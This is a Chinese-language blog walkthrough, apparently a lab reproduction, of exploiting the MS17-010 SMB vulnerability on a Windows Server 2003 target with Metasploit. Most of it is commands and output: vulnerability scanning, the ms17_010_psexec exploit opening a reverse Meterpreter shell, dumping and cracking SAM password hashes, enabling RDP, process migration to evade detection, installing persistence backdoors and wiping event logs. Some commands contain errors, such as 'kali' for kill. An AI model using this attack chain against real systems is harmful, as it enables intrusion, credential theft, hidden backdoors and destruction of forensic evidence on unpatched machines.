漏洞名称

SMB 远程命令执行漏洞(ms17-010)

漏洞描述

继2016年 8 月份黑客组织 Shadow Brokers 放出第一批 NSA “方程式小组”内部黑客工具后,2017 年 4 月 14 日,Shadow Brokers 再次公布了一批新的 NSA 黑客工具,其中包含了一个攻击框架和多个 Windows 漏洞利用工具。攻击者利用这些漏洞可以远程获取 Windows 系统权限并植入后门。

针对此次泄露的漏洞,微软提前发布了安全公告 MS17-010,修复了泄露的多个 SMB 远程命令执行漏洞。由于此次泄露的漏洞覆盖了大部分常见的 Windows 版本(包括微软不再提供更新服务的 Windows XP 和 Windows Server 2003),网络空间中仍然存在大量可被入侵的设备

永恒之蓝漏洞是通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞,恶意代码会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。

漏洞影响

目前已知受影响的Windows 版本包括但不限于:WindowsNT,Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。

目前在Metasploit上集成的攻击载荷是ms17_010_psexec和ms17_010_eternalblue,我在网上搜了好久,也没找到什么有价值的答案,我自己总结的是两点区别:

一:ms17_010_psexec是SMB的远程代码执行漏洞,ms17_010_eternalblue是SMB的远程窗口内核池损坏漏洞

二:ms17_010_psexec是针对于上述所说的Windows系统都适用的,而ms17_010_eternalblue只适用于win7和win server2008R2的全版本

这次我们使用ms17_010_psexec载荷进行渗透测试

复现过程

复现环境:

攻击机:kali 4.15.0-kali2-amd64(192.168.135.134)

靶机:Windows server2003(192.168.135.136)

利用前提:

1.防火墙必须允许SMB流量出入

2.目标必须使用SMBv1协议

3.目标必须缺少MS17-010补丁

4.目标必须允许匿名IPC $和管道名

信息收集

使用nmap对目标系统进行信息收集同时去扫描目标存在的漏洞(Nessus或者AWVS等扫描器都可以)

root@kali:~# nmap -sV --script=vuln -O 192.168.135.136

参数-sV表示对目标主机进行软件版本的检测

参数--script=vuln表示适用nmap自带的漏洞库区扫描目标系统存在的漏洞

参数-O表示扫描目标的操作系统

由于nmap默认扫描常用的一千个端口,所以我这里为了节省时间就没有加-p选项

扫出来啦鼎鼎有名的ms08-067漏洞和ms17-010漏洞这两个远程代码执行的漏洞

Host script results:
| smb-vuln-ms08-067:
|   VULNERABLE:
|   Microsoft Windows system vulnerable to remote code execution (MS08-067)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2008-4250
|           The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
|           Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
|           code via a crafted RPC request that triggers the overflow during path canonicalization.
|          
|     Disclosure date: 2008-10-23
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
|_      https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
| https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143

漏洞利用:

配置数据库

我们使用Metasploit-Framework(简称MSF)去利用ms17-010远程代码执行漏洞

我们首先需要创建一个自己的数据库,将等会使用MSF获取的结果保存到我们自己的数据库中(也可以使用metasploit自带的数据库),MSF默认使用的数据库管理系统是PostgreSQL

打开Postgresql服务:

root@kali:~# service postgresql start

或者

root@kali:~# /etc/init.d/postgresql start
[ ok ] Starting postgresql (via systemctl): postgresql.service.

查看数据库运行状态:

root@kali:~# service postgresql status
● postgresql.service - PostgreSQL RDBMS
Loaded: loaded (/lib/systemd/system/postgresql.service; disabled; vendor preset: disabled)
Active: active (exited) since Mon 2019-02-18 16:22:16 CST; 24h ago
Process: 11732 ExecStart=/bin/true (code=exited, status=0/SUCCESS)
Main PID: 11732 (code=exited, status=0/SUCCESS)
 
2月 18 16:22:16 kali systemd[1]: Starting PostgreSQL RDBMS...
2月 18 16:22:16 kali systemd[1]: Started PostgreSQL RDBMS.

切换到postgres用户(Postgresql数据库管理系统所创建的用户)

root@kali:~# su - postgres

创建数据库管理员kkk:

root@kali:~# su - postgres
postgres@kali:~$ createuser kkk -P
为新角色输入的口令:
再输入一遍:

创建数据库及其属主,其语法为createdb --owner=属主 数据库名

postgres@kali:~$ createdb --owner=kkk database1

然后就可以打开MSF终端利用漏洞啦

root@kali:~# msfconsole

查看当前所连接的数据库:

msf > db_status
[*] postgresql connected to msf

断开连接,连接我们刚刚创建的数据库,

断开数据库连接命令:db_disconnent

连接新的数据库:格式是db_connect 用户名:密码@127.0.0.1/数据库名

msf > db_disconnect
msf > db_connect kkk:passwd@127.0.0.1/database1

确认漏洞

这部分其实就是确认nmap扫描的结果是否准确,MSF提供专门扫描MS17-010的payload(载荷)我们可以在这里尝试一番,熟悉命令

msf > search ms17-010 //在漏洞库中搜索ms17-010的payload
[!] Module database cache not built yet, using slow search
 
Matching Modules
================
 
Name Disclosure Date Rank Description
---- --------------- ---- -----------
auxiliary/admin/smb/ms17_010_command 2017-03-14 normal MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
auxiliary/scanner/smb/smb_ms17_010 normal MS17-010 SMB RCE Detection
exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
exploit/windows/smb/ms17_010_psexec 2017-03-14 normal MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution

我们使用auxiliary辅助模块中的ms17_010_command载荷去扫描确认目标系统是否真的有SMB服务的远程代码执行的漏洞

msf > use auxiliary/admin/smb/ms17_010_command    //使用该载荷
msf auxiliary(admin/smb/ms17_010_command) > set rhosts 192.168.135.136   //设置目标
rhosts => 192.168.135.136
msf auxiliary(admin/smb/ms17_010_command) > exploit  //进行攻击
 
[*] 192.168.135.136:445   - Target OS: Windows Server 2003 3790 Service Pack 2
[*] 192.168.135.136:445   - Filling barrel with fish... done
[*] 192.168.135.136:445   - <---------------- | Entering Danger Zone | ---------------->
[*] 192.168.135.136:445   -     [*] Preparing dynamite...
[*] 192.168.135.136:445   -         Trying stick 1 (x64)...Miss
[*] 192.168.135.136:445   -         [*] Trying stick 2 (x86)...Boom!
[*] 192.168.135.136:445   -     [+] Successfully Leaked Transaction!
[*] 192.168.135.136:445   -     [+] Successfully caught Fish-in-a-barrel
[*] 192.168.135.136:445   - <---------------- | Leaving Danger Zone | ---------------->
[*] 192.168.135.136:445   - Reading from CONNECTION struct at: 0x8fdf1cb0
[*] 192.168.135.136:445   - Built a write-what-where primitive...
[+] 192.168.135.136:445   - Overwrite complete... SYSTEM session obtained!
[+] 192.168.135.136:445   - Service start timed out, OK if running a command or non-service executable...
[*] 192.168.135.136:445   - Output for "net group "Domain Admins" /domain":
ةĻ     Domain Admins
עˍ     ָ¶¨µœꝀ
 
³ʔ±
 
-------------------------------------------------------------------------------
Administrator           
ļ®³ɹ¦Ϊ³ɡ£
 
 
[+] 192.168.135.136:445   - Cleanup was successful
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Successful 而且目标为Administrator 权限

攻击目标

msf auxiliary(admin/smb/ms17_010_command) > use exploit/windows/smb/ms17_010_psexec //使用攻击模块
msf exploit(windows/smb/ms17_010_psexec) > set rhost 192.168.135.136 //设置目标
rhost => 192.168.135.136

对于ms17_010_psexec攻击脚本,不需要设置payload,我原先设置windows/x64/meterpreter/reverse_tcp

载荷一直不出来结果,后来才得知这个攻击脚本里面有meterpreter的载荷,无需设置即可

msf exploit(windows/smb/ms17_010_psexec) > exploit   //开始攻击
 
[*] Started reverse TCP handler on 192.168.135.134:4444
[*] 192.168.135.136:445 - Target OS: Windows Server 2003 3790 Service Pack 2
[*] 192.168.135.136:445 - Filling barrel with fish... done
[*] 192.168.135.136:445 - <---------------- | Entering Danger Zone | ---------------->
[*] 192.168.135.136:445 -     [*] Preparing dynamite...
[*] 192.168.135.136:445 -         Trying stick 1 (x64)...Miss
[*] 192.168.135.136:445 -         [*] Trying stick 2 (x86)...Boom!
[*] 192.168.135.136:445 -     [+] Successfully Leaked Transaction!
[*] 192.168.135.136:445 -     [+] Successfully caught Fish-in-a-barrel
[*] 192.168.135.136:445 - <---------------- | Leaving Danger Zone | ---------------->
[*] 192.168.135.136:445 - Reading from CONNECTION struct at: 0x8f3e37c0
[*] 192.168.135.136:445 - Built a write-what-where primitive...
[+] 192.168.135.136:445 - Overwrite complete... SYSTEM session obtained!
[*] 192.168.135.136:445 - Selecting native target
[*] 192.168.135.136:445 - Uploading payload...
[*] 192.168.135.136:445 - Created \ZKbfdlYf.exe...
[+] 192.168.135.136:445 - Service started successfully...
[*] 192.168.135.136:445 - Deleting \ZKbfdlYf.exe...
[-] 192.168.135.136:445 - Delete of \ZKbfdlYf.exe failed: The server responded with error: STATUS_CANNOT_DELETE (Command=6 WordCount=0)
[*] Sending stage (179779 bytes) to 192.168.135.136
[*] Sleeping before handling stage...
[*] Meterpreter session 1 opened (192.168.135.134:4444 -> 192.168.135.136:2240) at 2019-02-19 19:13:26 +0800
 
meterpreter >           //攻击成功,拿到目标的会话

后渗透阶段

先介绍一下Meterpreter:

Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpretershell的链接。Meterpretershell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。另外Meterpreter能够躲避入侵检测系统。在远程主机上隐藏自己,它不改变系统硬盘中的文件,因此HIDS[基于主机的入侵检测系统]很难对它做出响应。此外它在运行的时候系统时间是变化的,所以跟踪它或者终止它对于一个有经验的人也会变得非常困难。最后,Meterpreter还可以简化任务创建多个会话。可以来利用这些会话进行渗透。

在后渗透阶段我们将使用Meterpreter进行攻击

meterpreter > help        //输入help命令可以查看在meterpreter模块下执行的命令
meterpreter > sysinfo      //查看系统信息
Computer        : MYCOMPUTER
OS              : Windows .NET Server (Build 3790, Service Pack 2).
Architecture    : x86
System Language : zh_CN
Domain          : LOUISNIE
Logged On Users : 3
Meterpreter     : x86/windows
meterpreter > getsystem   //提升到system权限
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
 
meterpreter > hashdump  //导出SAM数据库的内容
Administrator:500:570ce399da1412abaad3b435b51404ee:b9d2d4955b330b503cc792eb6a55bb1f:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:98e07fb45acadfe5febbf70690d16ae0:::
SUPPORT_388945a0:1001:aad3b435b51404eeaad3b435b51404ee:18861c2baa27b5a9100c04acbbfa47d9:::
IUSR_MYCOMPUTER:1108:e2e508b31b1336d2c996f97338db8790:03320631cb387004f82daec52f03935f:::
IWAM_MYCOMPUTER:1109:fc512ee6de7b912f77747be12787d540:0f8f47aec1c4bc8897a81bce48cc20da:::
MYCOMPUTER$:1005:aad3b435b51404eeaad3b435b51404ee:979f58fb772361956a63f2bc34036a09:::

SAM简介:

SAM是windows系统的一个系统用户账号管理文件。其全称为security account manager。Windows中对用户账户的安全管理使用了安全账号管理器SAM(security account manager)的机制,安全账号管理器对账号的管理是通过安全标识进行的,安全标识在账号创建时就同时创建,一旦账号被删除,安全标识也同时被删除。安全标识是唯一的,即使是相同的用户名,在每次创建时获得的安全标识都时完全不同的。因此,一旦某个账号被删除,它的安全标识就不再存在了,即使用相同的用户名重建账号,也会被赋予不同的安全标识,不会保留原来的权限。

其文件位置:C:\windows\system32\config\SAM

其格式是 用户名称:RID:LM-HASH值:NT-HASH:::

在Windows系统下,有两大hash,分别是LM HASH&NT HASH

对于NT HASH,我们直接可以在cmd5网站进行解密,解密Administrator用户密码为redhat

msf exploit(windows/smb/ms17_010_psexec) >run post/windows/manage/enable_rdp //打开目标服务器的远程连接
 
msf exploit(windows/smb/ms17_010_psexec) >exploit
meterpreter > portfwd add -l 2222 -r 192.168.135.136 -p 3389  //反弹目标的3389端口到本地的2222端口并监听该端口
[*] Local TCP relay created: :2222 <-> 192.168.135.136:3389
meterpreter > portfwd    //查看是否反弹成功
 
Active Port Forwards
====================
 
   Index  Local         Remote                Direction
   -----  -----         ------                ---------
   1      0.0.0.0:2222  192.168.135.136:3389  Forward
 
1 total active port forwards.
 
root@kali:~# netstat -an | grep "2222"  //我们在kali查看2222端口是在监听状态
tcp        0      0 0.0.0.0:2222            0.0.0.0:*               LISTEN    
root@kali:~# rdesktop 127.0.0.1:2222 //连接本地的2222端口反弹到目标的3389端口,即打开目标的桌面
 
meterpreter > ps  //查看系统进程
 
Process List
============
 
 PID   PPID  Name               Arch  Session  User                          Path
 ---   ----  ----               ----  -------  ----                          ----
 0     0     [System Process]                                               
 4     0     System             x86   0        NT AUTHORITY\SYSTEM          
 240   2792  mstsc.exe          x86   0        NT AUTHORITY\SYSTEM           C:\WINDOWS\system32\mstsc.exe
 264   4     smss.exe           x86   0        NT AUTHORITY\SYSTEM           \SystemRoot\System32\smss.exe
 292   808   explorer.exe       x86   0        LOUISNIE\Administrator        C:\WINDOWS\Explorer.EXE
 312   264   csrss.exe          x86   0        NT AUTHORITY\SYSTEM           \??\C:\WINDOWS\system32\csrss.exe
 336   264   winlogon.exe       x86   0        NT AUTHORITY\SYSTEM           \??\C:\WINDOWS\system32\winlogon.exe
 384   336   services.exe       x86   0        NT AUTHORITY\SYSTEM           C:\WINDOWS\system32\services.exe
 396   336   lsass.exe          x86   0        NT AUTHORITY\SYSTEM           C:\WINDOWS\system32\lsass.exe
 452   1744  wuauclt.exe        x86   2        LOUISNIE\Administrator        C:\WINDOWS\system32\wuauclt.exe
 588   384   vmacthlp.exe       x86   0        NT AUTHORITY\SYSTEM
 
meterpreter > migrate 292 //将该会话和系统进程绑定,免杀.格式是:migrate PID
 
meterpreter > execute -H -i -f cmd.exe //创建新进程cmd.exe,-H不可见,-i交互 -f用系统命令去执行
 
meterpreter > kali 1569  //杀死进程,格式是:kali PID

植入后门,维持控制

msf exploit(windows/smb/ms17_010_psexec) > sessions  -i 2  //开启第二个会话
[*] Starting interaction with 2...
 
meterpreter > run persistence - X -i 5 -p 4445 -r 192.168.135.136 //运行后门程序,-X指定启动的方式为开机自启动,-i反向连接的时间间隔
 
[!] Meterpreter scripts are deprecated. Try post/windows/manage/persistence_exe.
[!] Example: run post/windows/manage/persistence_exe OPTION=value [...]
[*] Running Persistence Script
[*] Resource file for cleanup created at /root/.msf4/logs/persistence/MYCOMPUTER_20190219.3953/MYCOMPUTER_20190219.3953.rc
[*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=192.168.135.136 LPORT=4445
[*] Persistent agent script is 99670 bytes long
 
meterpreter > background
[*] Backgrounding session 2...
msf exploit(windows/smb/ms17_010_psexec) > back
msf > use exploit/multi/handler    //使用exploit/multi/handler监听连入的backdoor
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp  //设置载荷
payload => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.135.134  //设置将反弹到本地来
lhost => 192.168.135.134
msf exploit(multi/handler) > exploit
 
[*] Started reverse TCP handler on 192.168.135.134:4444
[*] Sending stage (179779 bytes) to 192.168.135.136
[*] Sleeping before handling stage...
[*] Meterpreter session 3 opened (192.168.135.134:4444 -> 192.168.135.136:2364) at 2019-02-19 21:42:12 +0800
[*] Sending stage (179779 bytes) to 192.168.135.136
[*] Sleeping before handling stage...
[*] Meterpreter session 4 opened (192.168.135.1

或者我们可以使用metsvc模块来留下后门

metsvc后渗透攻击模块其实就是将Meterpreter以系统服务的形式安装到目标主机,它会上传三个文件:

  • metsvc.dll

  • metsvc-service.exe

  • metsvc.exe

    msf exploit(multi/handler) > sessions -i 2 //选择一个会话
    meterpreter > run metsvc //运行metsvc

    清除日志:

    meterpreter > clearev
    [*] Wiping 1 records from Application...
    [*] Wiping 26 records from System...
    [*] Wiping 2281 records from Security...

end

Windows漏洞利用 ms17-010的更多相关文章

  1. Windows漏洞利用技术概述

    Windows漏洞利用技术总结 1. 前言 本文是我对漏洞利用技术的学习总结,也是自己践行QAD (Questions.Answer.Discussions)的一次实践.本文通过阅读几位大牛的文章.演 ...

  2. Windows漏洞利用与防护(2015.8)

    Windows平台下的漏洞利用与防护 0x00 概述 在过去的二十几年,Windows作为网络安全的主战场之一,攻于防的较量从未停息过.内存破坏漏洞作为研究的重点之一,经历了很多的发展也沉淀了前辈们许 ...

  3. 个人理解的Windows漏洞利用技术发展史

    大概四.五年前,看过陈皓的酷壳上面的一篇文章,上面有一句话我一直记得,是关于学习技术的心得和态度的. 要了解技术就一定需要了解整个计算机的技术历史发展和进化路线.因为,你要朝着球运动的轨迹去,而不是朝 ...

  4. Windows 漏洞利用开发

    第一阶段:简单栈溢出 分析栈溢出原理 寻找溢出点,了解pattern_create和pattern_offset计算溢出点的原理 寻找JMP ESP跳板,分析利用JMP ESP跳板劫持程序流的原理 编 ...

  5. 【转帖】2018年Windows漏洞年度盘点

    2018年Windows漏洞年度盘点丨老漏洞经久不衰,新0day层出不穷 腾讯电脑管家2019-02-12共17875人围观 ,发现 1 个不明物体网络安全资讯 https://www.freebuf ...

  6. Windows漏洞:MS08-067远程代码执行漏洞复现及深度防御

    摘要:详细讲解MS08-067远程代码执行漏洞(CVE-2008-4250)及防御过程 本文分享自华为云社区<Windows漏洞利用之MS08-067远程代码执行漏洞复现及深度防御>,作者 ...

  7. Fibratus:一款功能强大的Windows内核漏洞利用和跟踪工具

    今天给大家介绍的是一款名叫Fibratus的开源工具,广大研究人员可以使用这款功能强大的工具来进行Windows内核漏洞利用.挖掘与跟踪. Fibratus这款工具能够捕捉到绝大多数的Windows内 ...

  8. ms17-010漏洞利用教程

    ms17-010 漏洞利用并拿下服务器教程 攻击环境: 攻击机win2003 ip:192.168.150.129 Window2003 Python环境及工具 攻击机kali: ip:192.168 ...

  9. apt28组织新的flash漏洞利用包dealerschoice分析

    17号paloalto发布了文章dealerschoice-sofacys-flash-player-exploit-platform,文中提到apt28正在编写adobe flash player的 ...

随机推荐

  1. 【leetcode】1021. Best Sightseeing Pair

    题目如下: Given an array A of positive integers, A[i]represents the value of the i-th sightseeing spot, ...

  2. ARC093 F Dark Horse——容斥

    题目:https://atcoder.jp/contests/arc093/tasks/arc093_d #include<cstdio> #include<cstring> ...

  3. LOJ 6432 「PKUSC2018」真实排名——水题

    题目:https://loj.ac/problem/6432 如果不选自己,设自己的值是 x ,需要让 “ a<x && 2*a>=x ” 的非 x 的值不被选:如果选自己 ...

  4. 禁止多用户进入win7系统的方法(图文)

    windows7系统可以支持多用户登陆,虽然它能为使用者提供方便,但是为安全起见,一些用户想要禁止多用户进入win7系统,因为我们并不能保证其他账户用户在使用过程中是否会安装病毒程序.那么如何禁止多用 ...

  5. C# 后台报错输出到日志

    1.C# 方法 /// <summary> /// 异常处理 /// </summary> /// <returns></returns> public ...

  6. How to show out three rows from the same databand On A4?

    How to show out three rows from the same databand On A4? Quote Post by DoraHuang » Tue Mar 13, 2018 ...

  7. Maven初了解

    这周开始,我正式上手了接口测试.我们接口测试使用的是Maven做项目管理,用Junit做测试框架.所以我稍微了解了一下Maven. 那么什么是Maven呢? Maven是基于项目对象模型(POM pr ...

  8. Honk's pool(二分模板题)

    题意:有n个水池,每个水池有a[i]单位水,有k次操作,每次操作将水量最多的水池减少一单位水,水量最少的水池增加一单位水,问最后水量最大的水池和水量最少的水池相差的水量. 思路:二分最后的最大水量和最 ...

  9. 利用print函数模拟打印进度条

    import time , , ): time.sleep(0.1) num = i // 2 # 地板除,即取不大于/后的最小整数(3//2 = 1, 9//4 = 2, -7//2 = -4) s ...

  10. centos7 安装 gitlab 服务器

    https://www.cnblogs.com/wenwei-blog/p/5861450.html 标签: centos7 git安装 git gitlab 我这里使用的是centos 7 64bi ...